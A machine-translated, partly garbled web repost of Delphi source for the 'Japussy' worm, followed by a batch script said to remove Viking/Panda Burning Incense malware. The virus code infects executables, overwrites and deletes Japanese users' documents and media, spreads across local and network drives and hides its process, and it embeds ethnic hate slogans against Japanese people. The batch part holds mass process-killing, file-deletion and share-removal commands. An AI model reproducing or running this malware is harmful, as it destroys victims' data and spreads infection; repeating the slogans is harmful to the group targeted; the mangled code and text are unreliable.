Borrar el código fuente del encabezado pe
Usos
Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro}.
Constant
HeaderSize = 82432//El tamaño del virus
icon offset = $ 12eb 8 //El desplazamiento del icono principal del PE; file
p>
//El tamaño compilado en mi Delphi5 SP1 puede variar en otras versiones de Delphi.
//Busque la cadena hexadecimal 2800000020 y busque el desplazamiento del icono principal.
{
header size = 38912; //El tamaño del cuerpo del virus comprimido Upx
IconOffset = $92BC//El icono principal del Upx comprimido Desplazamiento del archivo PE.
//Uso Upx 1.24W: Upx-9-8086 Japussy.exe.
}
IconSize = $ 2E8 //Tamaño del icono principal del archivo PE - 744 bytes
icon tail = desplazamiento del icono IconSize //Icono principal del archivo PE El cola de
ID = $44444444//Marca de infección
//Escribe código basura.
Si hay que eliminar una carrera, debe ser la carrera de Yamato. ''''''''''''''''
Si un país necesita ser destruido, ¡debe ser Japón! ''''''''''''''''
' ' ' ' ' ' ' ' ' ' ' ' ' ' *** W32. Japussy . Gusano.A * * *
{$R *.
RES}
Función RegisterServiceProcess(dwProcessID, tipo dw: Entero): Entero;
stdcall externo ' ' ' ' ' ' ' ' ' ' ' ' kernel 32. dll ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ';//Declaración de función
Definir variables
TmpFile: cadena;
si: información de inicio ;
Pi: Process_Information;
IsJap: Boolean = False; //Etiqueta del sistema operativo japonés
{Juzga si es Win9x} p>
La función es win9x: Booleana;
Definir variable
ver: TOSVersionInfo;
Inicio
Resultado: = false ; p>
ver . dwosversioninfosize:= SizeOf(TOSVersionInfo);
Si no es GetVersionEx(Ver), entonces
Salir;
si (ver . dwplatformid = VER_PLATFORM_WIN32_WINDOWS) luego //Win9x
resultado:=true;
end;
{Copiar entre secuencias}
Procesar copia stream(Src: TStream; sStartPos: entero; dst: TStream;
dStartPos: entero; recuento: entero
Definir variables
p>sCurPos, dCurPos: Entero;
Inicio
sCurPos:= Src. Posición;
dCurPos := Dst. Ubicación;
Src. Seek(sStartPos, 0);
Horario de verano. Seek(dStartPos, 0);
Horario de verano. CopyFrom(Origen, Conde);
Origen. Seek(sCurPos, 0);
Horario de verano. Seek(dCurPos, 0);
End;
{Separar archivos host de archivos PE infectados}
Procesar ExtractFile(nombre de archivo: char String); p>
Definir variables
sStream, dStream: TFileStream;
Iniciar
Probar
sStream: =TFileStream. Create(ParamStr(0), fmOpenRead o fmShareDenyNone);
Prueba
dStream := TFileStream. create(filename, fmCreate);
Prueba
stream. Seek(HeaderSize, 0); //Omitir la parte del virus del encabezado
dStream. CopyFrom(sStream, sStream.size-header size);
Finalmente
dStream. Gratis;
Fin;
Final
Transmisión.
Gratis;
Fin;
Excepto...
Fin;
Fin;
{ Rellenar STARTUPINFO estructura}
Procedimiento FillStartupInfo(var Si: información de inicio; estado: Word);
Inicio
Si CB: = SizeOf(Si); p>
si .LP reservado:= nil;
si lpdesktop:= nil
si . .dw banderas:= STARTF _ USESHOWWINDOW;
si .wshowindow:= Estado
si . := nil;
Fin;
{Enviar correo venenoso}
El proceso SendMail
Iniciar
//¿Quién quiere completarlo?
Fin;
{Archivo PE infectado}
Procesar InfectOneFile(nombre de archivo: cadena);
Definir variables
HdrStream, SrcStream: TFileStream;
IcoStream, dst stream: TMemoryStream
iID: LongInt
aIcon: TIcon; p> p>
Infectado, IsPE: Booleano;
I: Entero;
Buf: Char of array[0..1]
Inicio
p>Intente //Error, el archivo está en uso, salga.
Si comparetext(filename, ' ' ' ' ' ' ' ' ' japussy.exe ' ' ' ' ' ' ' ' ') = 0 entonces // si eres tú mismo, no te infectarás.
Salir;
Infectado:=False;
IsPE:=False;
SrcStream:=TFileStream. Create(filename, fmOpenRead);
Intente
Para i := 0 a $108, verifique el encabezado del archivo PE.
Iniciar
SrcStream. Buscar(i,sofrombinging);
SrcStream. Read(Buf, 2);
Si (buf[0] = #80) y (buf[1] = #69) entonces //etiqueta PE
Inicio
IsPE:= True; //Es un archivo PE.
Romper;
Fin
Fin
SrcStream. Seek(-4, soFromEnd); //Comprueba el indicador de infección
SrcStream. Cambie a (iID, 4);
Si (iID = ID) o (SrcStream. size lt10240) entonces // los archivos que sean demasiado pequeños no se infectarán.
Infectado: = Verdadero
Último
SrcStream.
Gratis;
Fin;
Si está infectado o (no es IsPE), entonces // Si está infectado o no, el archivo PE sale.
Salir;
IcoStream := TMemoryStream. Crear;
DstStream := TMemoryStream. Crear;
Pruebe
aIcon := TIcon. Crear;
Probar
//Obtener el icono principal (744 bytes) del archivo infectado y almacenarlo en la secuencia.
Aikang. Manija de liberación;
Aikang. Identificador:= ExtractIcon(HInstance, PChar(FileName), 0);
Aikang. SaveToStream(IcoStream);
Finalmente
IcoStream. Gratis;
Fin;
SrcStream := TFileStream. Create(filename, fmOpenRead);
//Archivo de encabezado
HdrStream:= TFileStream. Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
Probar
//Escribir datos antes del icono principal del virus.
CopyStream(HdrStream, 0, DstStream, 0, icon offset);
//Escribe el icono principal del programa actual.
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//Escribe los datos del icono principal del virus en la cola del virus.
CopyStream(HdrStream, IconTail, DstStream, IconTail, tamaño del encabezado-icono de cola);
//Escribir en el programa host
CopyStream(SrcStream, 0 , DstStream, HeaderSize, SrcStream size);
//Escribir bandera infectada
DstStream. Buscar(0, 2);
iID: = $4444444;
DstStream. Write(iID, 4);
Finalmente
HdrStream. Gratis;
Fin;
Finalmente
SrcStream. Gratis;
IcoStream. Gratis;
DstStream. SaveToFile(filename); //Reemplazar el archivo host
DstStream.
Gratis
Fin
Excepto;
Fin
Fin
{Escribe el archivo de destino; Eliminar spam después de ingresarlo}
Procedimiento SmashFile (nombre de archivo: cadena);
Definir variables
FileHandle: entero;
I , Tamaño, Masa, Máx., Longitud: entero;
Iniciar
Probar
setfile atributos(PChar(FileName), 0 // Eliminar lectura-); único atributo
FileHandle:= FileOpen(FileName, fmOpenWrite); //Abre el archivo
Intenta
Tamaño:= GetFileSize(FileHandle, nil); /Tamaño del archivo
I:= 0;
Aleatorización;
max:= Random(15); //Aleatorio para escribir código basura Veces
Si Max lt entonces 5
max:= 5;
mass:= Size div Max //El tamaño de cada bloque de intervalo
p>
Len:= Longitud(eslogan);
Y lt Max More
Inicio
FileSeek(FileHandle, i * Mass, 0) ; //Posicionamiento
//Escribe código basura para destruir completamente el archivo.
FileWrite(FileHandle, Catchword, Len);
Inc(1);
Fin
Finalmente
<; p>file close(file handle); //Cerrar el archivoFin;
DeleteFile(PChar(nombre de archivo)); //Eliminarlo
Eliminar...fuera
Fin;
Fin;
{Obtener lista de unidades grabables}
Función obtener unidades: cadena;
Definir variables
tipo de disco: Word;
d: Char;
Str: cadena
I: entero;
Inicio
Para i:= 0 a 25, haga // Recorra 26 letras.
Inicio
d:= Chr(I 65);
str:= D """"""":\"""" "" """"";
tipo de disco: = obtener tipo de unidad(PChar(Str));
//Obtener el disco local y el disco de red.
Si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces
Resultado: = resultado D;
Fin;
Fin ;
{Atravesar directorios, infectar y destruir archivos}
Procesar LoopFiles(ruta, máscara: cadena);
Definir variables
I, contar: entero;
Fn, Ext: cadena;
SubDir: t cadenas
búsqueda rec: TSearchRec
msg:TMsg;
la función es validir(search rec:TSearchRec):Integer;
Iniciar
if (SearchRec.Attr lt gt16) y ( SearchRec. namelt gt''''''''''''.'''''''''') y
(SearchRec. name lt gt'''''' ''''''''''..'''''''''''') luego
Resultado: = 0 //No es un directorio.
si no (SearchRec.Attr = 16) y (SearchRec.namelt gt''''''''''''''''.'''''''' ' ''') y
(SearchRec. Namelt gt''''''''''''..'''''''''''' ')Entonces
Resultado: = 1 //No es el directorio raíz.
else resultado: = 2; // es el directorio raíz.
Fin;
Inicio
si (FindFirst(Path Mask, faAnyFile, SearchRec) = 0) entonces
Inicio
Repetir
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas.
Si IsValidDir(SearchRec) = 0, entonces
Inicio
Fn := Ruta SearchRec. Nombre;
Ext:=uppercase(ExtractFileExt(Fn));
if (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. EXE ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. SCR ' ' ' ' ' 'Entonces
Iniciar
Archivo de infección (Fn); //Archivo ejecutable infectado
End
else if (Ext = ' ' ' ' ' ' ' ' ' ' ' '. HTM ' ' ' ' ' ' ' ' ' ' ' o (externo = ' ' ' ' ' ' ' ' ' ' ' ' '. HTML ' ' ' ' ' ' ' ' ' ' ' o ( Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '.ASP ' ' ' ' ' 'Luego
Iniciar
//Infectar archivos HTML y ASP, escribir virus codificados en Base64.
//Infecta a todos los usuarios que naveguen por esta página web.
//¿Qué jefe está dispuesto a completarlo?
Fin
En caso contrario, si text = ' ' ' ' ' ' ' ' ' ' ' ' ' '. WAB ' ' ' ' ' ' ' 'Entonces //Archivo de libreta de direcciones de Outlook.
Inicio
//Obtener dirección de correo electrónico de Outlook
Fin
De lo contrario, si text = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. ADC ' ' ' ' ' ' Luego // archivo de autocompletar dirección de foxmail.
Inicio
//Obtener la dirección de correo electrónico de Foxmail
Fin
De lo contrario, si text = ' ' ' ' ' ' ' ' ' ' ' ' ' ' IND ' ' ' ' ' ' ' ' ' ' Luego // archivo de la libreta de direcciones de Foxmail.
Inicio
//Obtener dirección de correo electrónico de Foxmail
Fin
Otros
Inicio
Si es IsJap entonces // es un sistema operativo japonés.
Inicio
if (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '.DOC ' ' ' ' ' ' ' ' ' ' ' 'o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. MDB ' ' ' ' ' ' ' ' ' ' ') o
(Ext=""""""""". MP3""""""""o(Ext="" """"""RM ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. RA ' ' ' ' ' ' ' ' ' ' ' ') o
(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. WMA ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. ZIP ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '. RAR ' ' ' ' ' ' ' ' ' ' ' ') o
(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. MPEG ' ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '. ASF ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '.JPG ' ' ' ' ' ' ' ' ' ' ') o
(Ext = ' ' ' ' ' ' ' ' ' ' ' .JPEG ' ' ' ' ' ' ' ' ' ' ' ' 'o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '.
GIF ' ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. SWF ' ' ' ' ' ' ' ' ' ' ') o
(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. PDF ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. CHM ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '.AVI ' ' ' ' ' 'Entonces
smash file(Fn); // Destruye el archivo
End;
End;
End;
//Dormir durante 200 milisegundos después de infectar o eliminar archivos para evitar sospechas causadas por un uso elevado de la CPU
Sleep(200);
Hasta (FindNext(search rec) lt. ; gt0 ); p>
Fin;
FindClose(buscar rec);
SubDir := TStringList Crear
if(FindFirst (Ruta ' ' ' ' ' ' ' ' ' ' ' ' *. * ' ' ' ' ' ' ' ' ', faDirectory, SearchRec) = 0) Luego
Iniciar
Repetir
Si IsValidDir(SearchRec) = 1, entonces
SubDir.Add(SearchRec.name);
Until(FindNext(search rec) lt; gt0); p>Fin;
FindClose(search rec);
Contar:= SubDir.
para i:= 0 para contar
p>Archivo de bucle (ruta subdir. cadena ' ' ' ' ' ' ' ' ' ' ' \ ' ' ' ' ' ' ' ' ', máscara);
FreeAndNil(SubDir);
Fin;
{Recorrer todos los archivos en el disco}
Procesar archivo de infección;
Definir variables
controlador lista: cadena;
I, Len: entero;
Inicio
Si GetACP = 932, entonces //sistema operativo japonés
IsJap: = Verdadero; //¡Vete al infierno!
lista de controladores:= obtener unidades; //Obtener la lista de discos grabables
len:= Longitud(lista de controladores);
Mientras sea Verdadero, //Ilimitado Bucle
Inicio
For i := Len downto 1 do //Repita cada unidad de disco.
archivos de bucle (lista de controladores """"""":\""""""""""""""*"*'''''' '''''' ''''); //Infectado
SendMail//Enviar correos electrónicos venenosos
Dormir (1000 * 60 * 5); //Dormir durante 5 minutos
Fin;
Fin;
{Se inicia el programa principal}
Inicio
Si es Win9x, entonces/ / es Win9x.
RegisterServiceProcess(getCurrentProcessID, 1)//Registrarse como proceso de servicio.
else //WinNT
Inicio
//El subproceso remoto se asigna al proceso del administrador de recursos.
//¿Qué hermano está dispuesto a completarlo?
Fin;
//Si es el virión original.
Si se compara texto(extraer nombre de archivo(ParamStr(0)), ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' Japussy.exe'''''''''''''') = 0, luego
Archivos infectados //Infectados y correo electrónico< / p>
Else //Ha sido parasitado en el programa host y comenzó a funcionar.
Inicio
TmpFile:= ParamStr(0); //Crear un archivo temporal
Delete(TmpFile, Longitud(TmpFile) - 4, 4);
TmpFile := TmpFile #32 ' ' ' ' ' ' ' ' ' ' '. exe//Archivo host real, con un espacio más.
extraer archivo(TmpFile); //Separarlo
FillStartupInfo(Si, SW_show default);
CreateProcess(PChar(TmpFile),PChar( TmpFile) , nil, nil, Verdadero,
0, cero, ' ' ' ' ' ' ' ' ' ' '. '''''''''''', Si, Pi); //Crea un nuevo proceso para ejecutar.
InfectFiles//Infecciones y Correos Electrónicos
Fin;
Fin.
Por favor indique la fuente de www.honkercn.net, el amigo que lo reenvió.
El siguiente es el proceso para la eliminación por lotes de los virus Weijin y Panda Burning Incense.
@Close Echo
Herramienta de título para eliminar la última variante del virus VIKING (logo_1, panda quemando incienso)
Herramienta @echo, utilizada para eliminar el última variante del virus VIKING
Abortar
Ifexist windir\rundl132. exe echo - ¡Informe al jefe que hay una emboscada del virus vikingo! Déjame matarlo -
Ifexist windir\logo_1.
exe echo-informe al jefe que hay una emboscada del virus vikingo. Déjame matarlo -
//Matar proceso vikingo
tskill logo_1
tskill rundl132
tskill zt
Tskillwa
tskill logo1__
Tskill Ravmon
Tskill Egghorst
Tskiel Melmon
Tskiel KAVPFW
Tskiel Ipamore
Tskiel Ravmond
taskkill /f/im 0sy.exe
taskkill /f /im 1sy.exe
taskkill /f/im 2sy.exe
taskkill/f/im 3sy.exe
taskkill/f/im 4sy.exe
taskkill/f /im 5sy.exe
taskkill/f/ soy 6sy.exe
taskkill/f/im 7sy.exe
taskkill/f/im 8sy.exe
taskkill/f/im 9sy.exe
//Eliminar troyano
del d:\_desktop.ini /f/s/q/a p>
del c:\Program Files\_desktop.ini
del Windir\mic know\mic know dll
del Windir\MH_FILE\MH_DLL.dll
del Windir\_desktop.ini
del Windir\hoy ztking\hoy ztking.
Biblioteca de enlaces dinámicos
attrib -h -r -s c:\go.exe
del c:\go.exe
del c:\setup.exe
attrib -h -s -r c:\autorun.inf
del c:\autorun.inf
attrib -h -r -s d:\go .exe
del d:\go.exe
del d:\setup.exe
attrib -h -s -r d:\autorun.inf
del d:\autorun.inf
del e:\setup.exe
attrib -h -r -s e:\go.exe
del e:\go.exe
attrib -h -s -r e:\autorun.inf
del e:\autorun.inf
attrib -h -r -s f:\go.exe
del f:\go.exe
del f:\setup.exe
attrib -h -s -r f:\autorun.inf
del f:\autorun.inf
attrib -h -r -s g:\go.exe
del g:\go.exe
del g:\setup.exe
attrib -h -s -r g:\autorun.inf
del g:\ autorun.inf
del h:\go.exe
del h:\setup.exe
attrib -h -s -r g:\autorun.inf
del h:\autorun.inf
del i:\go.exe
attrib -h -s -r g:\autorun.inf
del i:\autorun.inf
del i:\setup.exe
del j:\go.exe
attrib -h - s -r g:\autorun.inf
del j:\autorun.inf
del j:\setup.exe
del windir\system\logo 1 _. exedel windir\system\Logo_1 exe
del windir\rundl132.exe
del windir\vDll.dll
del windir\Dll.dll<. /p>
del windir\0Sy.exe
del windir\1Sy.exe
del windir\2Sy.exe
del windir\3Sy. exe
del windir\5Sy.exe
del windir\1.com
@ echo _Informe al jefe que todos los vikingos han sido ejecutados.
@echo está muy cansado. Inmuniza tu sistema nuevamente. Si no lo necesita, salga directamente.
Abortar
//Sistema inmunológico
echo gtwindir\Logo1_. Extensión del programa ejecutable
echo gtwindir\rundl132.exe
echo gtwindir\0Sy.exe
echo gtwindir\vDll.dll
echo gtwindir\1Sy.exe
echo gtwindir\2Sy.exe
echo gtwindir\rundll32.exe
echo gtwindir\3Sy.exe
echo gtwindir\5Sy.exe
echo gtwindir\1.com
echo gtwindir\exerouter.exe
echo gtwindir\EXP10RER.com
p>echo gtwindir\finders.com
echo gtwindir\Shell.sys
echo gtwindir\kill.exe
echo gtwindir\sws dll.
echo gtwindir\sws32.dll
echo gt windir\uninstall\rundl 132 exe
echo gtwindir\SVCHOST.exe
. echo gtwindir\WINLOGON.exe
echo gtwindir\RUNDLL32. La extensión del programa ejecutable
echo gtC:\"Program File"\svchost.exe
echo gtC:\"Program File"\svchost.exe
echo gtwindir\Download\svchost.exe
echo gtwindir\system32\wldll.dll
attrib windir\Logo1_.
exe s r h
attrib windir \ rundl 132 . exe s r h
attrib windir\0Sy.exe s r h
attrib windir\vDll.dll s r h
attrib windir\1sy .exe s r h
attrib windir\2Sy.exe s r h
attrib windir\ rundll32 .exe s r h
attrib windir\3Sy.exe s r h
attrib windir\5Sy.exe s r h
attrib windir \ 1 . com s r h
attrib windir \ exe enrutador . >attrib windir \ exp 10 rer . com s r h
attrib windir \ finders . com s r h
attrib windir\Shell.sys s r h
attrib windir\kill. exe s r h
attrib windir\sws.dll s r h
attrib windir\sws32.dll s r h
attrib windir \ uninstall \ rundl 132 . >
attrib windir \ svchost . exe s r h
attrib windir \ winlogon exe s r h
attrib windir\RUNDLL32. EXE s r h
atributo C:\"Archivos de programa"\svchost.exe s r h
atributo C:\"Archivos de programa"\Internet Explorer"\svchost.exe s r h
attrib windir \ Download \ svchost . exe s r h
attrib windir \ system32 \ wldll dll s r h
net share c$/del
net share. d USD/del
Participación neta e USD/del
Participación neta f USD/del
Participación neta gastos administrativos/del
Net share ipc$ /del
cls
@echo -
@echo Viking ha sido asesinado por mí. Ja, ¿no es asombroso? p>
@echo ¡El sistema ha sido inmunizado exitosamente!
@echo ¡Gracias por usarlo, reinicie su computadora!
@echo -
Abortar